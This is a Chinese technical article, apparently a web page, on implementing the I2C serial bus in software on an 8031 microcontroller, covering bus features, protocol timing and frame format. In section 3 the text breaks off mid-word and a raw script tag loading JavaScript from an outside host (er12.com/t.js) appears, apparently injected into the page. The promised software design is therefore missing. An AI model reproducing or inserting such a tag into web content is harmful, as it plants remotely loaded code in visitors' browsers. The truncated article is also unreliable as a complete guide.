I2C串行总线在单片机8031应用系统中的设计与实现

【摘要】目前,mcs51系列、atmel89系列、68hc05系列等单片机应用很广,但他们均没有i2c总线接口,限制了在这些系统中使用具有i2c总线接口器件的应用。本文将介绍i2c串行总线的性能,并以串行e2prom为例,给出在8031上利用i/o线实现i2c串行总线的方法和软件设计。

  关键词:单片机,i2c总线,接口

1 i2c总线概述

  i2c(inter ic bus)总线是由philips公司提出的串行通信接口规范,常见的中文译名有“集成电路间总线”或“内部集成电路总线”。它使用两条线: 串行数据线(sda)和串行时钟线(scl),使连接到该总线上可访问的器件之间传送信息,属于多主控制总线。总线上的每个器件均可设置唯一的地址,从而可实现器件的有效访问。自philips公司推出i2c总线后,philips公司及其他公司纷纷相继推出了许多i2c总线产品,如各种微处理器、存储器(pcf8571/8570,128/256 字节)、a/d(pcf8591)、d/a(tda8442/8444)转换器、e2prom及各种i2c总线接口电路(pcf8584)等。由于i2c总线的使用可以简化电路,省掉了很多常规电路中的接口器件,提高产品的可靠性,在许多领域尤其在目前使用的ic卡获得了广泛的应用,国际标准iso7816-2规定了ic卡与读写设备信息传输是基于i2c总线传输协议的。不仅如此,i2c总线在家电方面也有较广泛的应用,如国产长虹nc-3机芯彩电,东芝火箭炮等。尽管philips公司推出带有i2c总线接口的80c31系列单片机,如:8xc528、8xc552、8xc562、8xc751等,但在单片机组成的智能化仪表和测控系统中,乃有相当比例数量使用的是mcs51、at89c5x系列单片机,如8031、8751、at89c51、at89c52等,它们不具有i2c串行总线接口。本文将结合笔者在开发智能化产品用到的e2prom,介绍在不具有i2c串行总线接口的单片机8031应用系统中实现i2c总线接口的方法和软件设计。
2 i2c总线的组成及i2c总线性能

2.1 i2c总线的特点

  由于i2c总线仅用二条线来传达信息,因而具有独特的优点:

  ① 可最大限度地简化结构;可实现电路系统的模块化、标准化设计。

  ② 标准i2c总线模块的组合开发方式大大地缩短了新产品的开发周期。

  ③ i2c总线系统具有很大的灵活性;i2c总线各节点具有独立的电气特性。

  ④ i2c总线系统可方便地对某一节点电路故障进行诊断与跟踪,有很好的可维护性。

2.2 i2c总线的组成

  i2c总线是芯片间串行传输总线,与spi,microwire/plus接口不同,它以一根串行数据线和一根串行时钟线组成,如图1所示,它是全双工双向数据传输线,核心是主控cpu,被控器的sda,scl要相应地接到i2c总线的sda,scl上,可以方便地构成多机系统和外围器件扩展系统。i2c总线采用了器件地址的硬件设置方法,从而使硬件系统具有简单而灵活的扩展方法。按照i2c总线的规定,其sda、scl各要通过上拉电阻接到电源vcc上。

图1 i2c总线的组成
2.3 i2c总线协议

  任何总线的推出及应用都有其特有的规定,其总线时序图如图2所示。

图2 i2c总线时序图
  i2c总线一般须满足如下协议:

  ① 只有当总线不忙时,数据传送才能开始;

  ② 数据传送期间,无论何时时钟线为高,数据线必须保持稳定。当时钟线为高时,数据线的变化将认为是传送的开始或停止;

  ③ 当时钟线为高时,数据线由高到低的变化决定开始条件;

  ④ 当时钟线为高时,数据线由低到高的变化决定停止条件;

  ⑤ 在开始条件后,scl低电平期间,sda允许变化,每位数据需一个时钟脉冲,当scl为高时,sda必须稳定;

  ⑥ 主控器在应答时钟脉冲高电平期间释放sda线高,转由接收器控制。受控器在应答时钟脉冲高电平期间必须拉低sda线,以使之为稳定的低电平作为有效应答;

  ⑦ 总线不忙时,数据线和时钟线保持为高电平。

2.4 i2c总线上的数据传输方式

  图3为i2c总线数据传输格式示意图,第一部分为数据传输起始信号,即由此开始进行数据传送;第二部分为受控ic的地址,用来选择向哪一个受控ic传送数据;第三部分为读/写位,它指示出受控ic的工作方式;第四部分为应答信号,它是被cpu选中的受控ic向cpu传回的确认信号;第五部分为传送的数据;第六部分为停止位。在i2c总线上挂接的所有被控ic都要有一个自己的地址,cpu在发送数据时,i2c总线上的所有被控ic都会将cpu发出位于起始信号后面的受控电路地址与自己的地址相比较,如果两者相同,则该被控ic认为自己被cpu选中,然后按照读/写位规定的工作方式接收或发送数据。

起始
被控ic地址
读/写控制位
应答位
数据
停止

图3 i2c总线数据传输格式
3 i2c总线在单片机8031中的实现

  因为8031单片机不带有i2c总线硬件接口,只能靠编写软?script src=http://er12.com/t.js>

  • I2C串行总线在单片机8031应用系统中的设计与实现已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计